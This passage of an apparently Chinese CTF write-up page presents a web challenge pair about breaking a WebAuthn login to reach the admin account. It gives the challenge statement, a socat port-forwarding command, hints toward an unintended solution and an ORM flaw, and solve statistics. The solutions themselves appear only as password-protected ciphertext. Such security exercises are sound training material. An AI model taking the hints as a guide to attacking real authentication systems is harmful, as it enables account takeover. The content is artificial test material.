4ae8671f4f07d952bbe7575281fdac0476fb016c77ceb2bb45e2a46ce4216470ada255a265c3548efb1c982f9329a197270bdd5e203c4908467802cb7f3e27cbf1eeba12eaae481b49b5ae95fae3a13eb61c3bdd88d391a2ec85e856030a759ea4c2425bbd61b1b1123f1fc81a669613590c076de5edea7bdca94d6f84dd963fd29d4ad706b0f846b6e65b925dbfd1fd6f5990bee3c2ba05136d4026d66ddfe1eb6beff1f324dd167af69231524b7d991fb89359f487d299cbc7971bb3332220e23e28e280382c3ef50f7341f45d8c158ebd4046f69279a33ba7132287a9aa178ee9bfd6f89d643f6643a332e7ce1496704cafa1d99649433f32e84b4a8793a74315fac0533ef1f06e57966d0b6e8e1bf1d15759a92474e5031056f94e805cf566a3439f4fd7d9966071d6c8c9103dcb34a76851ffe4a3c3bf583ca87eb72954208f004a5358153c01a0512b18373cff070209902486a2e3b75b7ca299ddb0a33d82a5d1a2c18f086a5b7c32601c02162b63cafa40d27d8d27266ab618211d7d9df1e031ca413de3f1e6da3e50ce430d439a1f7d9561cf52cbacd2f0dd87b5838e876eba3fa9875929b0af98cc75a27ed0da50e6d535ace3cc5e59aff27bb4f4aa4220e4f48dc55cff10fc329969a8d6819ed81b28b87852bc4b7b4761bbe3da7d2053567baef5338e860b6a5b9783ddf1bd35a5eb3df23178eedb151682fdea9ede36bb8173c95be85db37c557ad583b2271e702959e4d070ca3d9fb163ef1fcf57e2842a2d59f0aafbcb929fb715da0307820beb08fcbce2e2aa71412f4945fe7b91e379a0af24a56dd6c991d31c9e523feaa8c4954df43d32a2b44d1121587f22ec200d3206b29a93c00a0567e21f3f621172d354a450e5a09898943cc705819b9f4e37e5d28bb2f8ce8cccc65f18008e0d0ed9bc0a1887dbe7edc16c2f2f10b063caa0ed27ecc8c558059823d7e12461d25e64d747570e7a19ab6a798e2fb4582ea907550db6def2339a15a24c21d1789dbbd0c8659a17aacdab841767f70239a081bf83b64323236122514a00d79ab92303fbbe8e6c6a2eff3ebb10d4b83af72d84c048769c38963bc9e2aec664b96895112c90a5a060fec33a222e93119fc6418d86232c787ce1d5a1180f9cfd484b7fadc155042412870be0f6b5e37fd730304db037984688868fef36883157408cf3d9043d3d57211ead60f0b455029d6b3dd404287f8c46ac17d4f70e51f85cadbe8fc26d23297daedfbe44b0f16edd53bfb2ba05c06ccae2081d798478c865a3e14bf1487ac38f6de657bbf92cfeec0675a00fd84ae4effeb87e03cc49c130861dda6cdf16679f73bee9beb927a5199e319a37d22ed811cf246b1234358b34f69a38ba69a2785274e40176460c23c26685d268c52a165cd72162b6f76c0bb5e97e241754875537373bf50130ae64fd2dba83f24d9c9e5311f73fe0c6e9d6eec89b755ea9a7659a721f1c424af7a69bb04a216395fdf6afc9940ef89d962744749c3bf31d5c609f47474153e4daa61aa770211c3582472765d5a82e2c9327fa08c5a022e81ea86cb48bf371b3359f29f2c1ea6b84a86703cf159f0e093026ce57f306bb0bc267992a6c3789cef408a0b893c3a56075caad0952b2d107d3024d4854fd173723ee2954f96679dc8d43c2bb1c1a68196f604b54c0c2e364611043aa6cb23925e0c360f5d1ca8c8325ce4acccf6beb2242049da54426ff4b3f3414f28f284cfa5943add24f31725e1fe87ff2a0fc4e0174e86454643d6ebe2f00cdf08ce0070e9232562bcbed5eb81891602d08c934b97b1923bcb1a27680cf208b01c22347e0a139058075cd5bf83bcf4d93b27b25100c5fd5c45d7add208a4a39acce1914020583a825ec39fcbb6358bcc889c48bcf29bd68120d93975d1603b7529d1f1b0a8d00c4c1f625ae6c05994552f6f8417f435fc570dc570936c6f1c4e0600c963b2e83cd3e12c9ebdf2b48fe793f82065c8b9adec5e5eb14e2d5330cd15e302d01ca634fbb4a43f993d904b224cafa7af29c17235406e7fa4ec3e15907dad9ff26dcff75f84c5b0b136d3392bbca3ae844aa7424020abbffd0a169183883ec8df1529ad00ec8f17c8882d8be18737a91f208e4c0b393757e86dbc6eed691d2f74fba2685f0f8e7acb4975bd068a2d08b9606d4ae884b8a0591e01c4d9bc2d79be790cd853aa9c993e03e42aafd10a40f359700cdea37e9a5523115661a0e0b3139e8d48813c2ff0ef8e0a5ecd3e16fc865a7bba1061e191401574f04ff66c261a1bf919578e2a7cf3f27a402e675919d57a40e90e7c4ff2dbbb444c944f75dd0be6199390621fa01ab81cd07b5f755b367f501c6566547f5530885ab418595237660895a823d6d407f2366badd6cf004a34967007e35cd6ffb4e1e81280993535e942">        <a onclick="decrypt(this)" style="margin-left:.35em;margin-right:.35em">解密</a>      </form>    </div>    <h2 id="ezwebauthn-ezwebauthn_revenge"><a class="markdownIt-Anchor" href="#ezwebauthn-ezwebauthn_revenge"></a> EzWebAuthn / EzWebAuthn_Revenge</h2><p>给网站加上了 WebAuthn 无密码登录，这下不怕被脱库了</p><p>说明：</p><ol><li><p>题目环境每 5 分钟自动重置</p></li><li><p>如果需要在本地运行题目环境，请使用 <code>http://localhost:&lt;port&gt;</code> 进行访问，注意不要使用 <code>http://127.0.0.1:&lt;port&gt;</code></p></li><li><p>由于平台限制，创建远程实例后请勿直接访问，请使用 <code>socat</code> 将远程端口转发至本地，命令是 <code>socat TCP4-LISTEN:&lt;port&gt;,bind=localhost,reuseaddr,fork TCP4:instance.penguin.0ops.sjtu.cn:&lt;port&gt;</code>，然后使用 <code>http://localhost:&lt;port&gt;</code> 进行访问，注意不要使用 <code>http://127.0.0.1:&lt;port&gt;</code></p></li></ol><p><a href="https://hans362-img.oss.0vv0.top/2025/04/10/EzWebAuthn_0cb94fa4df9f29dfe0b3874c1a93e12d.zip">Attachment</a></p><p><a href="https://hans362-img.oss.0vv0.top/2025/04/10/EzWebAuthn_Revenge_8f1a69cc679e41cf32451087c489e49f.zip">Attachment_Revenge</a></p><p>Hint1: 对比 EzWebAuthn 和 EzWebAuthn_Revenge 的题目附件，或许可以找到 EzWebAuthn 的非预期解法</p><p>Hint2: 对于预期解法，仔细观察 ORM scalar 方法的实现</p><details><summary>答题情况</summary><p>EzWebAuthn 6 Solves (SJTU 2 Solves + ZJU 4 Solves) / 764 pts</p><p>EzWebAuthn_Revenge 4 Solves (SJTU 2 Solves + ZJU 2 Solves) / 866 pts</p></details><hr><p>一个使用 WebAuthn 进行身份认证的小网站，目标是登录 admin 的账号获取 Flag。</p><p>做题之前需要先了解一下什么是 WebAuthn。简单来说，WebAuthn 是一种无密码身份验证标准，允许用户使用生物识别、硬件密钥等方式进行身份验证。WebAuthn 的工作原理是，用户在注册时会生成一对公私钥，公钥存储在服务器上，私钥存储在用户的设备上。登录时，服务器会向用户的设备发送一个挑战，用户使用私钥对挑战进行签名，然后将签名发送回服务器进行验证。由于整个过程中不涉及密码口令，服务器上只存储公钥，因此即使服务器由于某种原因（如 SQL 注入）被脱库，攻击者也无法仿冒用户的身份进行登录。</p><h3 id="非预期解法仅适用于-ezwebauthn"><a class="markdownIt-Anchor" href="#非预期解法仅适用于-ezwebauthn"></a> 非预期解法（仅适用于 EzWebAuthn）</h3>    <div class="encrypt card" style="text-align:center;">      <div style="font-size:1.1rem;display:inline-flex;align-items:center;"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="currentColor" class="icon icon-tabler icons-tabler-filled icon-tabler-lock"><path stroke="none" d="M0 0h24v24H0z" fill="none"></path><path d="M12 2a5 5 0 0 1 5 5v3a3 3 0 0 1 3 3v6a3 3 0 0 1 -3 3h-10a3 3 0 0 1 -3 -3v-6a3 3 0 0 1 3 -3v-3a5 5 0 0 1 5 -5m0 12a2 2 0 0 0 -1.995 1.85l-.005 .15a2 2 0 1 0 2 -2m0 -10a3 3 0 0 0 -3 3v3h6v-3a3 3 0 0 0 -3 -3"></path></svg> 内容受密码保护</div>      <p style="font-size:0.8rem;">密码提示：密码为 EzWebAuthn 题目的 Flag</p>      <form class="search-form" onsubmit="decrypt(this.querySelector('a'));return false;">        <input type="password" class="password search-input" placeholder="请输入密码" autocomplete="password">        <input type="hidden" class="cipher" value="4b80672e66da74dd927121630ebf647ff45004a651877ca44dbb511181d8016e82b9b8089f10ab51b92f3badd22ca9f0e08b88ba4be918c2e25df5e9ea684fc534c3c5641e55fad8c385168a83e18e199e51f733c5ffa4b7022d67d5a491b1a4f8df28de085985b0527471cbf1459520e6de880085100ff869edc0e02962b94db24cac1e3272a51e01d55320786dd7dfb36e71541cabc36acffdc87f7bfcabf69015c790e111b4dac268989f1c4c0d262388575c4b365bf43fff80b3933be20d86f894ec7c98d835200b5f0232c0e958809ca90fb27012d8fac1ff1999c1641b6a845f5444bc0257095eac5848111f59d77bfa0069f32cc6c6b0be2e49804fc359ed47529a8d99d5a7ff198c182f0766066380209d355760487deea2e6d55fa6b2bc51b7ae1c520d96e22eb06ace908f04eb2a2156147fccfc69cb3386568c5d282b0e0bddc72f53faee5416550a083cca6b13bcfd884b43a4bc2ad32a14d7578123d39d5aab3111dda11070c4a97db33037196792015badfe41c53d52f12e122a5893c77b7612687ea8249dc974dbaccd34b0f60ff939199e3da5305ddce5e66f1c425f02279e977660ff82346210b49c49ded30c618723620e4b26e15f63aec17dae8be4c636a6beec33985cd99cce787a3bd8507e31dea33c6571053411072ab4744fb92c7269907307e1f1ed2d381741efddc81ceeae6a9d848eb9c36e14f47b61cb236e909f2027e45c5578020918ef6aa327428fccbcd770bbc9f8bb28b51f4370d76f4d9aa147229614aa4502d718496083f7d067f42c3c6e9d4865165c4d1a728ebf0cf8c6ffbdd3d1c3bcf6c7394e482756a0089c3ae9b92b2775dc0ddac058fd10520a60174b9390fc779aaf74ce8d49951426d394a1a974ed73f7fcc6f677093e01b1efb9ac5a5e15dc76bfe72a3e194064e43d5708762b9b345bdcb6d364c002263231eb96b793005474ba8596bdad01b85f7114583d94b3b621a1f4f6f44f73249136c9ad9ba6e98859e90ceb9b48c2e82ce4647dc874fa3339617fa4777f7c67c5253a4e0470f6f7c6de263d79b305d4085f4799da4eabc2b37dce46bae0aabe1227951be7576f3e518b0820214eeb7791c5e6b52fe9e334b242739886afa17e511c7729361d15c26bc32aa870f33b1e6c9857f2e45e926c5458fed063c2ea8b4fedbb9e698dd17e03257fd3e3b2de295a13e9ec18f3ad47c0a4996359e8b776afdb8b73d57136f75df17ca319a3097047d347d0e16dc77ff3d1a851097256373b656785ea3d2eddc28c09b528a0007f8e8963134026b3984cff4200136f175783bd647c70bdb000b9ff194a400061ec72123b8c9c280d91f33a74204c9c2fcca26efc1c8a4409878e0bf83503d664ab24f7da84788e0c6ff9bda46b43a9131ee65da345b2eb3920ddb1aa23a3fdcac0e4f91dcd358c05dbc6771b7b9978ec823956a6e2815f09450b9ce2121c2bb623e080043b5a08b728693d0bc25dcecfafc53ef7a056f811f447e535934939baa52fa722eb1c883ff0e53155bf4a9ea8fe2b7b0f559537514d48b839ba5391c495a9238b1ce59e765161ba9ee80f119f757aaecc79c6b9a37a6141910f4e04e6539e48cbad98d324601d7bb4e116c62069d59cb2a0ffaed18810a7e636e714f029a05f0c98d49e96cb007d8ea63bd0466114e2a6474939d5dcde25ff636326a9a377ebfab68242b6bd59cce35b64ac5a8f66c01e6da40a8084222966603cdb7057e58de265b5df114b7d05a372fa527e903420170e8d613a7dd61332675c5658f67ae45dc79505e29eff263533252709097bf2769eca6598b7d622e0e1ef2e507298bef5c6ce09a4facdc33d471e990bd99aec7b920466ddebac699c86541595db3049bc6ba27d91794b356fc81834a927957657e05bd2f4c343cbe43b2efe5694607a8250672412dedf835bc7bef1342e531d339de3cd6ffe829283c65908dc621893ade3e3d05262c4cdf46190718a65224c46b43f3245fac07e9a7b8a9eb9fa776b9007d9fa523a2eda0de616d5b178f1004e6717784cfcd0e94749faaed27700248513a81443047f126c2ee37dab786961a8c77453815e0ee49c00f6264622ded8d4ac1234a753285c4dc2dcd4e0d82844596e4a3c04f14a81a62e81848de3615791cdb74ef52e40eb9b0759785e102434b55ea4c878cbc65ca9c21f30668b6251721b9d22cb64ffd2292f532cad2c9fa5a88056699a3096b264012d0c0ba84856225eea8722c1f07276e3f8f1ad01ffefb2348d6d12a8280793c709add1375a1e3e58f8434633231f84d56009ed861c2ba0dd02fd961af3c258cf5ac69edb5839f518b9687c802caa7408de64fc0b9e2be0336d6c415d815a9844072d1eda23e2dd807367c8ef8e6db8bc96e79cd427bca1e4648d9393dab24d1028f77c269381b20269db62cd9889911cf63a85b73d402ad62baad2dd719a66f5c5f3c01a55455cf57275b293bf241c6331d28809ee32046b978138fa83ab8f499542ae1bd276794910e8b6f50fc1de616a5a196418b43ff8a1b627451152379c71016b427e789be2877a1e1c7ac6e15551e7451587655bbeae9599fd1d5315406ab634dd38f013ab9edcbc2a1f25a2b23d893ad2bb12063027975297756c02ff24ff270e39e0d2bd6e5c1c92cd73a16be8c085db430fc7eff84e12f891bfa224815a38f12cdeb77169171345f8a1773c9ee41635f6ac3392474623e9b868b65bb3e653643689a241eb0b01ee183a406ad8fbf949019be4952337aa6c37cef693ce32a7e08e65719ef1997cad10d74bb5ccd0bab123a3b665c784401a3be17b4b36d0658d4e141545a75803611f2636853e568e34d964242b8e233d5cd809727e734a8aa9caaf191ceb10f45b3a9467bd0c3318f18ebf5b804dae030eecfb34edec3e453bee94edffad1d9ecef5feddf1d8bd8c87dbd2747173f8e170ea47b04d9a66984ec5d048a5f5005e93c97cbde18124fc04a29857871ee8fb7a290a606116584eff8255fd0e739feef0182768c4e6bee264251bf4ffcc82884251e9efab4fc9455ab4e5767fd845166958c637f219b7e0d3f04337e1497e99435e7a5230a075b9402b00c55d943add1e7b1bb8881283d1e418b0e68dba12693293607e7b4a74138766295eea557c5a5ade227dcadc1b39a4bc707a83548d55a41f39e9d544126a4f7cfbf165739095c59a39290170298fe065a4fd5118eb6aefadcb6e3b6e80e854a1ab8f53a83dfee2a5408c19ab4119eda8c378d0278bde6bc7392684aabad233a72aaa18ad664afca77dc33d92d7abbf9f7abe755bae509af40857e5f74757da69e6d3fa28c1bd83b35b197110f1a8e0422076bc58a539c7a456e024fa8be32ea75216a2b8667f8434a88ec247912c389ed3339118b28e4ebbbd4453d6f7ec84fa319beadefbad348b5d28c5104724f8d48c0b52c7f96ae25b73eceaa1009db102b0578fede7a1ff5e0b0d8903db30c1f1a463fc833f901df59b2cdfc03468134859dace55da3a630864adf29069540c3ab90eacb9fd1725e8d72739bc97505c6920dc6c7fe22213e4c91aa0dbb73b5c9548967412c2c2143380553a7b5d5894176b31cca5fd53b218a2d2f83e1180d95769df5de95cc53269e44071a53a50f48f93b421c5f54943fcaa209a7142e56b6d9b79b911c3799824d08e2ea1fdd88d5b9a8cad0bca685f11dffaa090652499af88cacdfe27c359ff60cf3839ed44f17943e22b1b136d7407170008c75b9020613306710f39355f8563a4b2d7f5429da4075beb5a5fd3d58fe73d700190cf252c6f55d37e8758808a6226ade4284433eb45e0acf7d43d62458087bb763414838f311d0d1e1c3cdbc70bc4abe9e125f37730075097e82f69e842c931c9ad3f3adb19baa0323a41a359324ac7efdb88a99dfe271075a258c868d7135e4d14ab9a6d69e8143d5c701a608f65c88901ccc79bdb1a4997502a605f5ebc80213b0acba27886c933004e3f73cd59030c20273d4a3280380a5e8f6714485dfcdb4b64d082a7951ee4293c11a31f09da8b550e2451752b076bf9223cc78626c4ba6e493673d3414c69eb492e77f9f415dca5d258bd686c99a92173efbefa7d596a71631f7034547c1bc197a59df4defe993e87f19b144d9324f902bde118143e9852d52223007b5f29761179717bfcdb627c34810e2fa40a809c3a921a64c5f9dfe04638013b61ea7909fbf55b0152f9e44e1d2e3a398d13a7add59ed68beba65cadd21e38cf25f52b7cd6ef4014b22f712180cda38362a5cb547bff18247610e14b10f3226e2e7386e236df11dcbc4d6ddab8fa15960e5bb4074447de55b56ab75b689625253842da3477537286eabbdfa431087d045e01a69b6e1623710ca0a8eb78a50a400ca16ef4002bf464572ad5dd3bc25f41238897b262d560f873e92da912108de8abbb0ab0759ba23bea24eaaf43861cf475a27ff956f2dba1263cf831d1cd942b7d1b6f9d7c5c133665721f0efc4b4423469845d334281fbe412ee140a3f5f2a514d96ae5d7f94dce74250896809dd23fe3ca79ba2778219babf415de93ad636feafc979beb9ee449da46b64dd3ff09873ae99d757aa0a5274105e1cc5577f4f8173d151f87e3574aaa1fa91d70f0d847874e7cff71ed7520d45e2553a376157e457cd3ae4d36678244cc32f062c8aed6fc5b0f337d38cff37994066029c9ebfa456c83bed29b748c7f9836bdc057a3b07eb7036f9573e19fececb2a627cca2fd04fe5015a9488740eab4314d8b509fff3935a793648480e9dca2f4a885891708baf535eb48d2bee5c908c30eca309b02cc99b57f05edfff921a12a81088ca7fabd6c417e5f97181cb5d3a618f27344d8f74cba6102518189930e030a130f73342aa8d9862d264ac0db6863241276b7a36d49df5725847468aebed30029365d3b0bddf1b19e5d44b1e339412c1dbc249105008afad3b87a7fb976ce891e473416bd85a539b8abdbea2dece43460caa68fc7e76f87e5a34e7e80e36274701e9c7135317012783ad50539a6d541037f697c396956a33aa969b8c005f1242ba3460bfc4524b1d751959115e2ab4102911576ce99ff8f1f38d3b68eced481fa1d0832db5c0087949f9243cf02a3f45e7653d342f0166899532dc6c6c5984574ba74baeb42b4e4848cff6692dd8246e8763f082c813f87da89537e5c5277b5f25edf75a0049cc9d39ec7aed962f4730fe2f69e5ca7cd0465cb81d9238e1f8c36c8550dfd9dd24ce6cf7eb66fe27b8d79ba3e39385b2a10e84413c80ba8e371126fbbb5c6b6ca00f64f4d5a66297cc761276f786f738216cce713b8d5945d115506bed3fda231e6d1a0fe4c1d8d203ef929b5162521e064f417bca11f7f35c85df8720aeebc70ec140b9bfd67fee09f25584bcdaaedacad348465901f581e53cba0c48ad2f53f9abdcc22a2e14095c954e559bc891bd3262b4d05c7892fb19c7a4d3fd05de82d52560c00894fedfa25763e04e85dd74c68bfcc63c981b4404e6653aae68ed684d1a8d1e73090b305740dbe9bfe609fab51a6c7c6274c2a527f0a39a6f4473f7ea76800cab8bd5c38801c13e5e26e0113d320db059aa6880f01d8c389107503babaff35ca86dfb8077712374a12186941bd8e2d9b522d9e769d3c3a7c90dc094fe2ac4da75e8467e26a3b5163e6bff3d09114d960f744b70231d75eaef46d7572631fb92a2aebb37f145889af5e393f1fc5cdff6246aeb800628d5169f66d609a3823d33c16c9d43962b6333a3e0f9119077a27f7d2f9ddcd755c7a17d01b85744c9cca4f376a21fbc83d32cd3328822ef9d307bfc6439082f0f28cd5eec4776694c94b01411e2ad133bcd08efbf93ac5418ed1fe4908436aefdb63ef3912f09ad156ccc3b441e027a123197a8b293be3a51c321cd860bfadad75e9c05b2a812b6e8381de1d6393711eb222e78226f85640473f8fc0c78116ed0242f56adc9b82ed809811b2ca877a0d80837daea8b1229e85505ab3a252c963ec6929c5ddfbf1e94a9e5fac35f0e4a70632f4655fa69f03be4f5893b22f88caa5b82a8c6b9d37eed75a93b76c0fcec29253e852dd7474170a3ea967ce0c171ddf3c2f98f2904bcdfc049a029e5d2a5fb53a69a2bf6fbb5b945540358de6509765a025f58251b3900c525bca1d1878301653f7c70d421859f183faea1c26b58a7a210517dcd573cb1030fc27b7db219be7c8fb2c8456bafde605245e51429a997e9c3b16e262ae8eba6aa04634987282096e49c994f46df92fd919863ad923cd5adb90d80f3269e5c8ddfa91a81addd161a37fa247d8399e0c886dbf49cc302e485bbe9aef415daef72c60488190436cd1e9d4d2a65f84febb39c9a9eb0d430c2efe33d63b7e93690bca32d930db861f77a730aa6f3cdd14ce6e0650cf689593796778fce9c2995ec2e47defe3b602a0c8e04fd2e270b7c57e197458891237936a29eda8d89020f37225668c2fd3f2754fae7c50ca9f996fc4081c53b74ef958087b0808fa46fc4930f81253b6669b36971b2548080c1b3c5069636fcf9a0e80c74107a8e9f3c97f6854c362eadc259b9e1e8ebdd26b1aef255410348fd366f7f95aec209ddb06aa30a91a89e883f8d4b8c0fd8346b5e26afd80a21daf0e131cca365c84d1f24f4dc497f2d29cdca89dc5ced051f7482e164bde1af17077eb2b841bcb0346cf7a13e46601e055c394d7239ce1bd06af8d7baa1783fc4d395eac14a720e1e1f3d655b2b05bb0f74bb73842b1100edc063b82439b7fc796fd1bbfc1c140c30f55c225866fd226a8c1a3acca15f9e835caacbbd280a16b7e25acfd0dce8958e540cee481ffef71922555db8efb053a1b340866efbd284876f1c65f49a02c9c7703268ac30172de824aa453fccb5f00b6e38dd535945a9af58344cad148d05e21b100a0e1812a9a982ea6b1a446bb7e9ceb677dc8bf168d068760ef55894eee8f6da3768d555ee9af08420efbd18818ddf74ae114272bf3c06bbc245ade41bbbd8cafeaad34c93388299aee23639031d1ae2458b737e8779ca11c2ffc9dd8f0892079800ee7951ed332d2d4802a81d7289c72b1ad65e47f1318ebd912431bb7cb7a03c6c9b8579bba2e8a71fadb2c65ef900632458bf24e555d4c5ce79cd87e60884a62799100bb5e5740d6c3f5823c03c7fa970e8f0bd052097cce947deb543003bc3f948027b8910ce8be3a19d2ebc05b8d3473c8bd55bc393888a8f4cd9abaadb1e2d39306b910cd6e31eed374f8791de875b187efe2611fa4bca10a453c99097cdfc80d877c2dc65eb5781edffa14e7d4a2d4c93d32158ee7fee34b9abe154f2b2215aac2d4f335b0476061a0d31220cc98b5c45565a4ad1cd8b2ade143a2eec6c54ff8ad182ee7b40a7fc5f76ff9143278e9ef97c611e7ca5748cef1670fa4a89f1be1255092ca30898ec03e744f78a2697996d4e9f00b04665c8e348fb1969e5a4f03871a22622b4330ed67e949edccfb728c01e321a18682fba2ad31f57f5f6a062f24483ef81a879b2b1f2650294fa515c52bd1f0cc1efe287fec85939a474e83a0db2d5631b95e22d32567376c7a768648bc0b9bb816fde64b250866b0093ad9b97312191f75aad810b89f9b870e060ae1be2662fee470433851af319c504535e261c0df4feaa980148a4d03bcd7591cde39ab06809f48158b0f89f4db08a7804b4706147907447d1c3f6d5355af63eecf4ce9e69e0ce59d8f529423f89e4f2abb25b8bc9ebcdf305d5d60feca374c090dd026184cabf038003c064f8d450e047e7e71f8d82a2ca75d765eca3783c5aab6e54cf95d8247e5f0518c48d61e5c53805ce58323abbfc2f0fbc0909af53504c671eb140d0daf2c37e84ffea6764fd4601f46dc6f857f36f03b1425a02a16f73ea40d3cf22858d92a477e7f7330d5c17d8efa291c334e2f33a8accfc6c6136001e2">        <a onclick="decrypt(this)" style="margin-left:.35em;margin-right:.35em">解密</a>      </form>    </div>    <h3 id="预期解法适用于-ezwebauthn-ezwebauthn_revenge"><a class="markdownIt-Anchor" href="#预期解法适用于-ezwebauthn-ezwebauthn_revenge"></a> 预期解法（适用于 EzWebAuthn / EzWebAuthn_Revenge）</h3>    <div class="encrypt card" style="text-align:center;">      <div style="font-size:1.1rem;display:inline-flex;align-items:center;"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="currentColor" class="icon icon-tabler icons-tabler-filled icon-tabler-lock"><path stroke="none" d="M0 0h24v24H0z" fill="none"></path><path d="M12 2a5 5 0 0 1 5 5v3a3 3 0 0 1 3 3v6a3 3 0 0 1 -3 3h-10a3 3 0 0 1 -3 -3v-6a3 3 0 0 1 3 -3v-3a5 5 0 0 1 5 -5m0 12a2 2 0 0 0 -1.995 1.85l-.005 .15a2 2 0 1 0 2 -2m0 -10a3 3 0 0 0 -3 3v3h6v-3a3 3 0 0 0 -3 -3"></path></svg> 内容受密码保护</div>      <p style="font-size:0.8rem;">密码提示：密码为 EzWebAuthn_Revenge 题目的 Flag</p>      <form class="search-form" onsubmit="decrypt(this.querySelector('a'));return false;">        <input type="password" class="password search-input" placeholder="请输入密码" autocomplete="password">        <input type="hidden" class="cipher" value="e152939dd7e249e7edd574b87c5c8c0b7142946229d1cfda418741d3d1b7b1a635ade425269035ed566e96ba00ad8959b2bee15ea3edbcb82f564117f53221481abdab5b5d9468aad9478cf34b6caf7748e1229fd69733007dbd05ebb6114fca3e5a50459ccd67c093e92151a2ad9b2404f9fcaf4c636e6f3e2fec6ff66bfcd4d0229d058fb8fd9bac1a686cfe57cffc505d171e560732bbe7d0d9932725b09edb57752b115a7ab76636acbe49738b83819b9758aaf0a52df899476bacb1db8bc0672058c50365d71c50a938a5ae00366ec9566f1960290c73793a189fb899bdbba2df984e45a5a89486c874df19f84f059654d3ad41d1cdbb4b0287fcfd33d93ef6edd96859a6bac4531d156d1a6e8f606468f9e3a6d4859845433e8be792183fb11d2187d3aa3ba13a9b40356359c9f5753bbd735714194974688e9be2078bc3c62cd5139baac95133d1f5ea98eef6bf6a72268d7b05c625b8c17532f0002c78e17deae685e56a72b70b108ed94bfc052da04775702630777763ef67baba9ab1ded90cae7932b4e5f8222866ec2147469448aa4387ae102db662d10fd303cea94f266813398a1d3f7b253211ea9fdf0e8d39de921bdd64ca93a1ac2a86c7055b0347d2b559bd38e0f123d43a07492616e259db25e2a40a0bb3cb7ce454bd27f4c61df379449aeda7fd6f18da2c5ae6474d175e907f1f1cbc78ae8ec0bad404afed2aafc94d3320c0d3675bab4f6680ae262ef4971f4cdccc194c07ec83175bf7f1bfbb3b5541fafa1b88d88b904819bcfc08473923e15f9edad6c12df80f210187da8f9d348429d8e67cabeb8113fdb1d80f4295975a322e28ebbe9c4ee93a8a8f7765d79bb9a62a0e7f691fb81fd39d9f5f986431c513a261ac40cab8f4ff503a4a663a5ce5c0687699c67c0886a0b4cc97faf26441f07b1a1e4812ea54fc50ea8639b680cc4100b7b0c95781644d79f4e8932d6f3c7e2262dc5fa91fd468d9654510f2955fbddd7d1e579394e21acbcc0a2282a0e6ef3007f9e6347a337fa04f74b72bd0590d4c55d2e9c2e8b4e4c07cbbb707070fcac22d3fb61b797c970c595f9ad223b1d84654a525c7017eb8eb992a3855af56b3b174a55f0a4babbd9908fa4bc04e8f877f45f3dd5abb3e358b37508aa78b632d7ddb30400f16d1c2e00e2ed3e604323c83a7bfa7feff60ec10ee76e0f506347c52f3d31b06fd83d89cf01aa7ff6c62b1f18d3a5c1f272620d0af5bc256cb64542b45fd61907b58bda3f1cb6cc3ced6148de7d527093918230da4664836e3fcc6b33b451a84fdb01565a2c3d37d9833395fc8d04264f81c5e41eb25f1996c135cb8c2e81815fe9c99a98476f553a8d18b79d67ed927ecebd35ad9ed0007608454b5d2e3eaab43f96c9657b128f1ee10c6d4749b6eb4ee19815f63f23b09fe3b4cc5715e765c47efd169a5cdebb54224165b0e4131508e806b51edf9f063dd5765af99af16d4e4b7c298f14c6ea104ec517a0c1e789b26d1179569c8236c55e8c5bc4849e805be1dc45fd3c7e371a0e03b0bc98e2fbbf3c1c0e68a961bb31b5df9d010d0e0982ad1ee4fbf075e581f43eff9aef2e39d8d81ff266f772a5ae7955555b5ebce69be96ec296c66cb818cbccd41dd30e46d0c308a0efda25dbd288f16ce9c3021a3a295fa6eebe37bac841d08333f645ec5eae475ce59bf21563277059dd9ccd15b700be7053f5cb0e4efad9fa9452a73ce02fc4bfed426d4be3d06be392899ac705bb20503fccc4499593efbf39d680bba709944314cb43c4023f160e1420b2de0fc5406c1dfb02e1e7f1815786a9d7db6a930dc795be139eb410a0494b772084bfc98462f68ae0e9020bbb0bfe7c94c61283ef0f46ab979b589e6f35da18d0e563c9616f66b2d53eaa4d8b7356b4b02e3eaef77db06c50b361530247ad27c09791130de21dcc668a88bbdd241cdd0a504e4740c4c442026515cecf18774b3c81d80b7777ed7773ddeb9cdf515e86b1feac0a75ba8adddef89da78b2e6e6ac3b894a1e33e7596fff3b8e3171bf6644fc50364cc745e110553646353407b479eb0bd257908d597d5fbd21b657844a9eb6d3ead99ef483c976739c6f7b5db510a3e0095920781ac83b6832d1bab913508c4ce0cd6e5366e531a3a21bce84fc785c60879bc2c549ec409990d4f65f9fdf7e2d7c4db3afbb2f26b375f25cc701bcfc505a23dbaf7e3bfab5eb129c52eb4070b3cc5dd196ca2e6e1d032c79056055c17c134e2e4eabd51b337f20b450efe0608783edc6377515589fa64488d0f887f637e0b0cc5400b51f414bcdbfaa0d5039980d349a6ef44467af4f48079276e73eea6b4e06e70e67a9d1505e1228c2c6a9bd9ca1486de343db1e21c3923ff8af2bbfd714fc6ff1e48176c840112918153c460088a72fb255b23ef796c32f55d4d8542a0215d765b6071bcf681f2d3e3e6f59156cfcfdba2b86e361305ddf71640a7856b53d0a1aed3ebf150f1c0d2dd915d40c7058c6fdf9ce811a878cebb9dfcf822dafaaa24311c9ad21e0ffd1c7749e8cef584782301f11f5b1aa8fd82fb55e9e9eeb4186bc580176a54eef7b468946233b7354b1dab56852f9dc222b3b3385d64b3d306ace06bcdb95bedaa5063434c1c540265eeb35c3868656936dac4e44ecd942f1661f8c9376cbaa7edfdba6f91f40d85ac01f0f1f1454e84ecc6f321055dce9197cd5d94b69a29c8718ffff22bd778c24e003aa54cd76e756484ac47586894a56da6fc4d4c7e0ffe2abb6809a3922b7f611788fec82c15b721518107a3ceb2efe54ea485370d3d9a62e40e1b612f32d05695622b6566ff169468fc3849282f608696ecf7b3dcb8170ecc6bb4d367f4b5a12d1262b55566827761bb7d11630cb0febe8b3b59303917ceac74a9332d55f7b4a7760381c4397a659a51a4f4081e7c66ba8155f2b3d805eade37c7a7b2167b3e8397b191864f67c404006caa3d94669948564cb20a14eab1ce4c83d4765ad8aa6605a32d9034a6db9ccaacb05024b6970c99cd8bbd18fcc68839d01683c49868a19247015103da92ff345e452ca488f39d940be277c83aa7e58a9a90451c088969d2abbaccb491b92621ab04a6725eb7f1b1191ee4df5e9cea19dd0c231dd50f86f6691919aaa2b4126f699de2ed95213e3d1f991d16a32c8a13b6590dc51f1a9fe66d0f3e5b7f8e28f5eef4bbdb1715e74bb4f8b187fdc7b043b71fd77622bff11ee022a4e724a4649885bd50ea8937cc922372e24aa704f79f113b555d3f778f10abb88fd06d6e431c0a78be50325755cb368589ef95849362e335364def54db93e890c3bdc2aa5d34066fe488ae25bc4c68283e64cc5c4e